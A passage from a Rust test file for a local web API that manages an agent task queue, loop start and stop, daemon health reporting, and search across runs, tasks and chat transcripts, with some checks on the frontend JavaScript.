18510 assert_eq!(done.status, 200, "{}", done.body);
18511 assert_eq!(done.json()["status_str"], "done");
18512
18513 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18514 assert_eq!(
18515 reloaded.runs,
18516 ["20260101-000000-b455", "20260101-000000-9af4"]
18517 );
18518 assert_eq!(
18519 reloaded.source,
18520 Source::Agent {
18521 run: "20260101-000000-b455".to_owned(),
18522 node: "implement".to_owned(),
18523 }
18524 );
18525 assert_eq!(reloaded.created_at, created_at);
18526 }
18527
18528 #[tokio::test]
18529 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18530 let f = Fixture::start().await;
18535 let queue = f.queue();
18536 let mut task = Task::new(
18537 "landed while held".to_owned(),
18538 "x".to_owned(),
18539 PathBuf::from("/repo/magi"),
18540 Source::Human,
18541 );
18542 task.hold_manual(Some("waiting on 3ed9".to_owned()));
18543 queue.put(&mut task).expect("file the held task");
18544
18545 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18546 assert_eq!(done.status, 200, "{}", done.body);
18547 assert_eq!(done.json()["status_str"], "done");
18548 assert!(
18549 done.json()["hold_reason"].is_null(),
18550 "a done task cannot still be waiting on something: {}",
18551 done.body
18552 );
18553 }
18554
18555 #[tokio::test]
18556 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18557 let f = Fixture::start().await;
18562 let queue = f.queue();
18563 let runs = f.runs();
18564 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18565 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18569
18570 let mut task = Task::new(
18571 "landed by hand".to_owned(),
18572 "x".to_owned(),
18573 PathBuf::from("/repo/magi"),
18574 Source::Human,
18575 );
18576 task.runs.push("20260101-000000-doa1".to_owned());
18577 task.runs.push("20260101-000000-doa2".to_owned());
18578 queue.put(&mut task).expect("file the task");
18579
18580 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18581 assert_eq!(done.status, 200, "{}", done.body);
18582
18583 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18584 .expect("run still on disk under this fixture's own home");
18585 assert_eq!(
18586 reloaded_run.status,
18587 RunStatus::Superseded,
18588 "closing the task by hand must relabel the earlier blocked attempt exactly \
18589 like the loop's own settle path does"
18590 );
18591 }
18592
18593 #[tokio::test]
18594 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18595 let f = Fixture::start().await;
18600 let queue = f.queue();
18601 let runs = f.runs();
18602 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18603 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18604
18605 let mut task = Task::new(
18606 "closed with nothing actually landed".to_owned(),
18607 "x".to_owned(),
18608 PathBuf::from("/repo/magi"),
18609 Source::Human,
18610 );
18611 task.runs.push("20260101-000000-dob1".to_owned());
18612 task.runs.push("20260101-000000-dob2".to_owned());
18613 queue.put(&mut task).expect("file the task");
18614
18615 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18616 assert_eq!(done.status, 200, "{}", done.body);
18617
18618 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18619 .expect("run still on disk under this fixture's own home");
18620 assert_eq!(
18621 reloaded_run.status,
18622 RunStatus::Blocked,
18623 "the last recorded attempt never landed, so the earlier one must not be \
18624 relabelled as superseded by it"
18625 );
18626 }
18627
18628 #[tokio::test]
18629 async fn unknown_ids_are_json_not_found_on_both_stores() {
18630 let f = Fixture::start().await;
18631
18632 let run = f.get("/api/runs/nosuchrun").await;
18633 let task = f.post("/api/queue/nosuchtask/hold", None).await;
18634
18635 assert_eq!(run.status, 404);
18636 assert_eq!(task.status, 404);
18637 assert!(
18638 run.json()["error"]
18639 .as_str()
18640 .is_some_and(|e| e.contains("run")),
18641 "the error names what was not found: {}",
18642 run.body
18643 );
18644 assert!(
18645 task.json()["error"]
18646 .as_str()
18647 .is_some_and(|e| e.contains("task")),
18648 "the error names what was not found: {}",
18649 task.body
18650 );
18651 }
18652
18653 #[tokio::test]
18654 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18655 let f = Fixture::start().await;
18656
18657 let missing = f.get("/api/health").await.json();
18658 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18659
18660 write_daemon(
18661 f.home.path(),
18662 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18663 );
18664 let stale = f.get("/api/health").await.json();
18665 assert_eq!(
18666 stale["daemon"]["running"], false,
18667 "a minute without a heartbeat is a dead daemon, not a busy one"
18668 );
18669 assert!(
18670 stale["daemon"]["stale_for_secs"]
18671 .as_i64()
18672 .is_some_and(|s| s >= 55),
18673 "staleness is reported so the UI can say how long: {stale}"
18674 );
18675
18676 write_daemon(f.home.path(), Timestamp::now());
18677 let fresh = f.get("/api/health").await.json();
18678 assert_eq!(fresh["daemon"]["running"], true);
18679 assert_eq!(fresh["daemon"]["idle"], false);
18680 assert_eq!(fresh["daemon"]["pid"], 4242);
18681 assert_eq!(fresh["daemon"]["completed"], 7);
18682 assert_eq!(
18683 fresh["daemon"]["current"][0]["task"],
18684 "20260902-140501-aaaa"
18685 );
18686 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18687 }
18688
18689 #[tokio::test]
18690 async fn the_loop_is_not_running_until_something_starts_it() {
18691 let f = Fixture::start().await;
18692
18693 let view = f.get("/api/loop").await.json();
18694 assert_eq!(view["running"], false);
18695 assert_eq!(
18696 view["owned"], false,
18697 "nobody owns a loop that does not exist: {view}"
18698 );
18699 assert_eq!(view["stopping"], false);
18700 assert_eq!(view["last_error"], Value::Null);
18701 assert_eq!(view["daemon"]["running"], false);
18702 assert_eq!(
18703 view["repo"], "/repo/magi",
18704 "the repository a start would use, named before it is started"
18705 );
18706 }
18707
18708 #[tokio::test]
18709 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18710 let f = Fixture::start().await;
18711
18712 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18713 assert_eq!(res.status, 200, "{}", res.body);
18714 let view = res.json();
18715 assert_eq!(view["running"], true);
18716 assert_eq!(
18717 view["owned"], true,
18718 "the loop the UI started is the UI's own to stop: {view}"
18719 );
18720 assert_eq!(
18721 view["merge"],
18722 Value::Null,
18723 "no override was given, so each repository's own config decides"
18724 );
18725
18726 let health = f.get("/api/health").await.json();
18730 assert_eq!(health["loop"]["running"], true, "{health}");
18731 assert_eq!(health["loop"]["owned"], true, "{health}");
18732
18733 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18734 }
18735
18736 #[tokio::test]
18737 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18738 let f = Fixture::start().await;
18739 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18740 assert_eq!(first.status, 200, "{}", first.body);
18741
18742 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18743 assert_eq!(
18744 again.status, 409,
18745 "two loops on one queue race for the same claims: {}",
18746 again.body
18747 );
18748 assert!(
18749 again.json()["error"]
18750 .as_str()
18751 .is_some_and(|e| e.contains("already running the loop")),
18752 "the refusal has to say why: {}",
18753 again.body
18754 );
18755 assert_eq!(
18756 f.get("/api/loop").await.json()["running"],
18757 true,
18758 "and the loop that was already running is untouched by it"
18759 );
18760
18761 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18762 }
18763
18764 #[tokio::test]
18765 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18766 let f = Fixture::start().await;
18767 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18768
18769 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18770 assert_eq!(
18771 res.status, 200,
18772 "the answer must not wait for the loop: a run in flight is tens of \
18773 minutes and the operator is holding a phone: {}",
18774 res.body
18775 );
18776
18777 let view = settled(&f, |v| v["running"] == false).await;
18778 assert_eq!(view["owned"], false);
18779 assert_eq!(
18780 view["stopping"], false,
18781 "a loop that has stopped is not still stopping: {view}"
18782 );
18783 assert_eq!(
18784 view["last_error"],
18785 Value::Null,
18786 "a loop that was asked to stop did not fail: {view}"
18787 );
18788
18789 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18792 assert_eq!(twice.status, 200, "{}", twice.body);
18793 }
18794
18795 #[tokio::test]
18796 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18797 let f = Fixture::start().await;
18798 write_daemon(f.home.path(), Timestamp::now());
18801
18802 let view = f.get("/api/loop").await.json();
18803 assert_eq!(view["running"], false, "not in this process: {view}");
18804 assert_eq!(view["owned"], false, "and not this process's to control");
18805 assert_eq!(
18806 view["daemon"]["running"], true,
18807 "but a loop is alive somewhere, which is what the UI must say"
18808 );
18809 assert_eq!(view["daemon"]["pid"], 4242);
18810
18811 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18812 let res = f.post("/api/loop", Some(body)).await;
18813 assert_eq!(
18814 res.status, 409,
18815 "neither button may pretend to work on someone else's loop: {}",
18816 res.body
18817 );
18818 assert!(
18819 res.json()["error"]
18820 .as_str()
18821 .is_some_and(|e| e.contains("4242")),
18822 "the refusal has to name the process the operator must go to: {}",
18823 res.body
18824 );
18825 }
18826 assert_eq!(
18827 f.get("/api/loop").await.json()["running"],
18828 false,
18829 "and the refusal started nothing"
18830 );
18831 }
18832
18833 #[tokio::test]
18834 async fn a_stale_status_file_is_not_a_foreign_owner() {
18835 let f = Fixture::start().await;
18836 write_daemon(
18837 f.home.path(),
18838 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18839 );
18840
18841 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18842 assert_eq!(
18843 res.status, 200,
18844 "a daemon killed a minute ago must not lock the loop out of its \
18845 own home for good: {}",
18846 res.body
18847 );
18848 assert_eq!(res.json()["running"], true);
18849
18850 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18851 }
18852
18853 #[tokio::test]
18854 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18855 let f = Fixture::start().await;
18856 let before = f.get("/api/health").await.json()["loop_rev"]
18857 .as_u64()
18858 .expect("a loop revision");
18859
18860 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18861
18862 let after = f.get("/api/health").await.json()["loop_rev"]
18863 .as_u64()
18864 .expect("a loop revision");
18865 assert!(
18866 after > before,
18867 "the loop is in-process state, so this counter is the only thing \
18868 that tells a second device the first one started it: {before} -> \
18869 {after}"
18870 );
18871
18872 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18873 }
18874
18875 #[tokio::test]
18876 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18877 let f = Fixture::with_loop(launch_broken).await;
18878
18879 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18880 assert_eq!(
18881 res.status, 200,
18882 "starting it is not the failure: {}",
18883 res.body
18884 );
18885
18886 let view = settled(&f, |v| v["last_error"].is_string()).await;
18887 assert_eq!(
18888 view["running"], false,
18889 "a loop that died must not read as running, or the operator has \
18890 nothing to press: {view}"
18891 );
18892 assert_eq!(view["owned"], false);
18893 assert!(
18894 view["last_error"]
18895 .as_str()
18896 .is_some_and(|e| e.contains("read-only file system")),
18897 "the phone is where a loop that died at 3am is visible: {view}"
18898 );
18899
18900 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18903 assert_eq!(again.status, 200, "{}", again.body);
18904 assert!(
18905 again.json()["last_error"]
18906 .as_str()
18907 .is_none_or(|e| !e.contains("read-only file system")),
18908 "a fresh start does not keep showing why the last one died: {}",
18909 again.body
18910 );
18911 }
18912
18913 #[tokio::test]
18914 async fn a_newer_daemon_status_file_still_renders() {
18915 let f = Fixture::start().await;
18916 std::fs::write(
18919 f.home.path().join("daemon.json"),
18920 serde_json::json!({
18921 "schema": 2,
18922 "updated_at": Timestamp::now().to_string(),
18923 "idle": true,
18924 "surprise": { "nested": [1, 2, 3] },
18925 })
18926 .to_string(),
18927 )
18928 .expect("write daemon.json");
18929
18930 let health = f.get("/api/health").await;
18931
18932 assert_eq!(health.status, 200);
18933 assert_eq!(health.json()["daemon"]["running"], true);
18934 }
18935
18936 #[tokio::test]
18937 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18938 let f = Fixture::start().await;
18939 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18940 let broken = f.runs().join("20260902-140502-bad");
18941 std::fs::create_dir_all(&broken).expect("run dir");
18942 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18943
18944 let list = f.get("/api/runs").await;
18945 let detail = f.get("/api/runs/20260902-140502-bad").await;
18946
18947 assert_eq!(list.status, 200);
18948 let listed = list.json();
18949 let ids: Vec<&str> = listed
18950 .as_array()
18951 .expect("an array")
18952 .iter()
18953 .map(|r| r["id"].as_str().expect("an id"))
18954 .collect();
18955 assert_eq!(
18956 ids,
18957 vec!["20260902-140501-good"],
18958 "one unreadable run must not cost the operator the whole history"
18959 );
18960 assert_eq!(detail.status, 500);
18961 assert!(
18962 detail.json()["error"]
18963 .as_str()
18964 .is_some_and(|e| e.contains("run.json")),
18965 "the failure names the file to look at: {}",
18966 detail.body
18967 );
18968 let health = f.get("/api/health").await;
18972 assert_eq!(health.json()["runs_unreadable"], 1);
18973 }
18974
18975 #[tokio::test]
18977 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18978 let f = Fixture::start().await;
18979 let runs = f.runs();
18980 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18981 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18982 let path = runs.join("20260902-140502-bbbb").join("run.json");
18985 let mut v: serde_json::Value =
18986 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18987 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18988 std::fs::write(&path, v.to_string()).unwrap();
18989 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18990 std::fs::write(
18991 runs.join("20260902-140503-cccc").join("run.json"),
18992 "{ not json",
18993 )
18994 .unwrap();
18995
18996 let res = f.get("/api/search?scope=runs&q=quokka").await;
18997 assert_eq!(res.status, 200, "{}", res.body);
18998 let v = res.json();
18999 assert_eq!(v["total"], 1, "{v}");
19000 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19001 assert_eq!(v["hits"][0]["field"], "text");
19002 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19003 let parts = v["hits"][0]["snippet"].as_array().unwrap();
19004 assert!(
19005 parts
19006 .iter()
19007 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19008 "{v}"
19009 );
19010 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19011 assert_eq!(
19012 flat, "The Quokka leaks across threads",
19013 "whitespace is collapsed"
19014 );
19015
19016 let both = f
19018 .get("/api/search?scope=runs&q=MOBILE%20quokka")
19019 .await
19020 .json();
19021 assert_eq!(both["total"], 1, "{both}");
19022 let neither = f
19023 .get("/api/search?scope=runs&q=quokka%20zebra")
19024 .await
19025 .json();
19026 assert_eq!(neither["total"], 0, "{neither}");
19027 let stmt = f
19029 .get("/api/search?scope=runs&q=mobile%20first")
19030 .await
19031 .json();
19032 assert_eq!(stmt["total"], 2, "{stmt}");
19033 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19034 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19035 }
19036
19037 #[test]
19038 fn snippet_ignores_terms_longer_than_the_field() {
19039 let terms = ["ok".to_owned(), "elephant".to_owned()];
19040 let parts = snippet_of("ok", &terms);
19041 assert_eq!(
19042 parts,
19043 vec![SnippetPart {
19044 text: "ok".to_owned(),
19045 hit: true
19046 }]
19047 );
19048 }
19049
19050 #[test]
19051 fn snippet_marks_matches_longer_than_the_window() {
19052 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19053 let hit_len = |parts: &[SnippetPart]| -> usize {
19054 parts
19055 .iter()
19056 .filter(|p| p.hit)
19057 .map(|p| p.text.chars().count())
19058 .sum()
19059 };
19060 let total =
19061 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19062
19063 let long = "a".repeat(120);
19064 let parts = snippet_of(&long, std::slice::from_ref(&long));
19065 assert!(hit_len(&parts) > 0, "{parts:?}");
19066 assert!(total(&parts) <= cap);
19067
19068 let ja = "あ".repeat(130);
19069 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19070 assert!(hit_len(&parts) > 0, "{parts:?}");
19071 assert!(total(&parts) <= cap);
19072
19073 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19075 let term = format!("ab{}", "c".repeat(100));
19076 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19077 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19078 assert!(total(&parts) <= cap);
19079
19080 let text = format!("{}z", "a".repeat(119));
19082 let parts = snippet_of(&text, &["a".repeat(120)]);
19083 assert_eq!(hit_len(&parts), 0, "{parts:?}");
19084 }
19085
19086 #[tokio::test]
19087 async fn search_caps_hits_and_snippet_length() {
19088 let f = Fixture::start().await;
19089 let runs = f.runs();
19090 for n in 0..(SEARCH_MAX_HITS + 5) {
19091 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19092 }
19093 let v = f.get("/api/search?scope=runs&q=web").await.json();
19094 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19095 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19096 assert_eq!(v["truncated"], true);
19097 assert!(
19099 v["hits"]
19100 .as_array()
19101 .unwrap()
19102 .iter()
19103 .all(|h| h["run"]["status"] == "merged")
19104 );
19105
19106 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19107 let parts = snippet_of(&long, &["needle".to_owned()]);
19108 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19109 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19110 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19111 }
19112
19113 #[tokio::test]
19114 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19115 let f = Fixture::start().await;
19116 let queue = f.queue();
19117 let mut t = Task::new(
19118 "short title".to_owned(),
19119 "line one\nthe hidden Armadillo detail".to_owned(),
19120 PathBuf::from("/repo/magi"),
19121 Source::Agent {
19122 run: "r1".to_owned(),
19123 node: "chat".to_owned(),
19124 },
19125 );
19126 t.last_error = Some("disk full on /tmp".to_owned());
19127 queue.put(&mut t).expect("file the task");
19128
19129 for (q, want) in [
19130 ("armadillo", 1),
19131 ("disk%20FULL", 1),
19132 ("chat", 1),
19133 ("queued", 1),
19134 ("short%20nothing", 0),
19135 ] {
19136 let v = f
19137 .get(&format!("/api/search?scope=tasks&q={q}"))
19138 .await
19139 .json();
19140 assert_eq!(v["total"], want, "{q}: {v}");
19141 }
19142 for bad in [
19143 "/api/search?scope=tasks&q=",
19144 "/api/search?scope=tasks&q=%20",
19145 "/api/search?scope=chats&q=",
19146 "/api/search?scope=chats&q=%20",
19147 "/api/search?scope=nope&q=a",
19148 "/api/search?q=a",
19149 ] {
19150 assert_eq!(f.get(bad).await.status, 400, "{bad}");
19151 }
19152 }
19153
19154 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19156 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19157 .expect("seat value");
19158 let turns: Vec<serde_json::Value> = turns
19159 .iter()
19160 .map(|(who, body)| {
19161 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19162 })
19163 .collect();
19164 let doc = serde_json::json!({
19165 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19166 "status": status, "turns": turns,
19167 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19168 "seat": seat,
19169 });
19170 let dir = f.home.path().join("talks");
19171 std::fs::create_dir_all(&dir).expect("talks dir");
19172 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19173 }
19174
19175 #[test]
19176 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19177 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19178 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19179 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19180 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19181 "seat": crate::agent::SeatState::new("talk", "test", 1)
19182 })).unwrap();
19183 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19184 talk.title = Some(talk::ChatTitle {
19185 text: "最近の話題".into(),
19186 source: talk::TitleSource::Generated,
19187 });
19188 let doc = talk_search_doc(&talk);
19189 assert_eq!(doc["title"], "最近の話題");
19190 assert_eq!(doc["turns"][0]["operator"], "古い話題");
19191 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19192 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19193 }
19194
19195 #[test]
19196 fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19197 let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19198 talk.title = Some(talk::ChatTitle {
19199 text: "Saved title".into(),
19200 source: talk::TitleSource::Manual,
19201 });
19202 talk.turns = serde_json::from_value(serde_json::json!([
19203 {
19204 "who": "operator", "sender": "external", "body": "External plain",
19205 "at": "2026-09-08T20:58:02Z"
19206 },
19207 {
19208 "who": "operator", "body": "External message",
19209 "at": "2026-09-08T20:58:03Z",
19210 "messages": [{
19211 "sender": "external", "body": "External message", "attachments": []
19212 }]
19213 }
19214 ]))
19215 .unwrap();
19216 let doc = talk_search_doc(&talk);
19217 assert_eq!(doc["turns"][0]["external"], "External plain");
19218 assert_eq!(doc["turns"][1]["external"], "External message");
19219 assert!(doc["turns"][0].get("operator").is_none());
19220 assert!(doc["turns"][1].get("operator").is_none());
19221 let hit = search_chat(&search_terms("message"), &talk).unwrap();
19222 assert_eq!(hit.field, "external");
19223 let target = hit.target.unwrap();
19224 assert_eq!((target.turn, target.message), (1, 0));
19225 }
19226
19227 #[test]
19228 fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19229 let talk: Talk = serde_json::from_value(serde_json::json!({
19230 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19231 "status": "open", "title": {"text":"Saved title", "source":"manual"},
19232 "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19233 "messages":[{"body":"First message", "attachments":[], "reply":null},
19234 {"body":"Search 運用", "attachments":[], "reply":null}]},
19235 {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19236 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19237 "seat": crate::agent::SeatState::new("talk", "test", 1)
19238 })).unwrap();
19239 let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19240 let target = hit.target.unwrap();
19241 assert_eq!((target.turn, target.message), (0, 1));
19242 assert_eq!(target.text, chat_text_key("Search 運用"));
19243 assert_eq!(
19244 hit.snippet,
19245 snippet_of("Search 運用", &search_terms("運用 Another"))
19246 );
19247 assert!(
19248 search_chat(&search_terms("Saved"), &talk)
19249 .unwrap()
19250 .target
19251 .is_none()
19252 );
19253 assert!(
19254 search_chat(&search_terms("ab12"), &talk)
19255 .unwrap()
19256 .target
19257 .is_none()
19258 );
19259 assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19261 assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19262 }
19263
19264 #[test]
19265 fn chat_search_targets_opener_derived_titles() {
19266 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19267 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19268 "status": "open", "turns": [
19269 {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19270 {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19271 {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19272 "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19273 "seat": crate::agent::SeatState::new("talk", "test", 1)
19274 }))
19275 .unwrap();
19276 let terms = search_terms("運用");
19277 let hit = search_chat(&terms, &talk).unwrap();
19278 assert_eq!(hit.field, "title");
19279 assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19280 let target = hit.target.unwrap();
19281 assert_eq!((target.turn, target.message), (1, 0));
19282 assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19283 talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19285 {"body":"", "attachments":[], "reply":null},
19286 {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19287 ]))
19288 .unwrap();
19289 let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19290 assert_eq!((target.turn, target.message), (1, 1));
19291 assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19292 talk.title = Some(talk::ChatTitle {
19293 text: "運用について".into(),
19294 source: talk::TitleSource::Manual,
19295 });
19296 assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19297 }
19298
19299 #[tokio::test]
19300 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19301 let f = Fixture::start().await;
19302 write_talk(
19303 &f,
19304 "20260901-000001-aaaa",
19305 "open",
19306 &[
19307 (
19308 "operator",
19309 "\n Why does the Pangolin cache expire?\nsecond line",
19310 ),
19311 ("agent", "Because the TTL is thirty seconds."),
19312 ],
19313 );
19314 write_talk(
19315 &f,
19316 "20260901-000002-bbbb",
19317 "closed",
19318 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19319 );
19320 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19321
19322 let search = |q: &'static str| {
19323 let f = &f;
19324 async move {
19325 f.get(&format!("/api/search?scope=chats&q={q}"))
19326 .await
19327 .json()
19328 }
19329 };
19330
19331 let v = search("PANGOLIN").await;
19332 assert_eq!(v["scope"], "chats");
19333 assert_eq!(v["total"], 1, "{v}");
19334 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19335 assert_eq!(v["hits"][0]["field"], "title");
19336 assert_eq!(v["unreadable"], 1, "{v}");
19337 let marked: Vec<&str> = v["hits"][0]["snippet"]
19338 .as_array()
19339 .unwrap()
19340 .iter()
19341 .filter(|p| p["hit"] == true)
19342 .map(|p| p["text"].as_str().unwrap())
19343 .collect();
19344 assert_eq!(marked, ["Pangolin"]);
19345
19346 let v = search("zebra").await;
19348 assert_eq!(v["total"], 1, "{v}");
19349 assert_eq!(v["hits"][0]["field"], "agent");
19350 assert_eq!(search("pangolin%20thirty").await["total"], 1);
19352 assert_eq!(search("pangolin%20zebra").await["total"], 0);
19353 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19355 assert_eq!(search(q).await["total"], 0, "{q}");
19356 }
19357 assert_eq!(search("second").await["hits"][0]["field"], "operator");
19359 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19361
19362 let v = f.get("/api/search?scope=nope&q=a").await;
19363 assert_eq!(v.status, 400);
19364 assert!(
19365 v.body.contains("scope must be runs, tasks or chats"),
19366 "{}",
19367 v.body
19368 );
19369 }
19370
19371 #[test]
19372 fn a_question_card_links_a_task_id_to_the_task_page() {
19373 let start = APP_JS
19374 .find("function updateAskCard(")
19375 .expect("updateAskCard exists");
19376 let body = &APP_JS[start..];
19377 let body = &body[..body.find("\n}\n").expect("function end")];
19378 assert!(body.contains("question.run_is_task"));
19379 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19380 assert!(body.contains("`#/runs/${question.run}`"));
19381 assert!(body.contains("\"task\" : \"run\""));
19382 }
19383
19384 #[test]
19385 fn plain_text_message_surfaces_go_through_linkify() {
19386 assert!(APP_JS.contains("function linkify("));
19387 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19388 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19389 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19390 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19391 assert!(!APP_JS.contains("innerHTML = text"));
19392 }
19393
19394 #[test]
19395 fn implementation_rate_views_keep_independent_samples() {
19396 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19397 let a = stats::AgentStats {
19398 competitive_entered: competitive_n,
19399 competitive_wins: usize::from(competitive_n > 0),
19400 solo_entered: solo_n,
19401 solo_adopted: 2 * usize::from(solo_n > 0),
19402 ..Default::default()
19403 };
19404 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19405 for (key, n, numerator) in [
19406 ("competitive_win_rate", competitive_n, a.competitive_wins),
19407 ("solo_adoption_rate", solo_n, a.solo_adopted),
19408 ] {
19409 if n == 0 {
19410 assert!(v[key].is_null());
19411 } else {
19412 assert_eq!(v[key]["denominator"], n);
19413 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19414 }
19415 }
19416 }
19417 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19418 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19419 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19420 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19421 }
19422
19423 #[test]
19424 fn stats_bars_share_one_id_keyed_plan() {
19425 let start = APP_JS
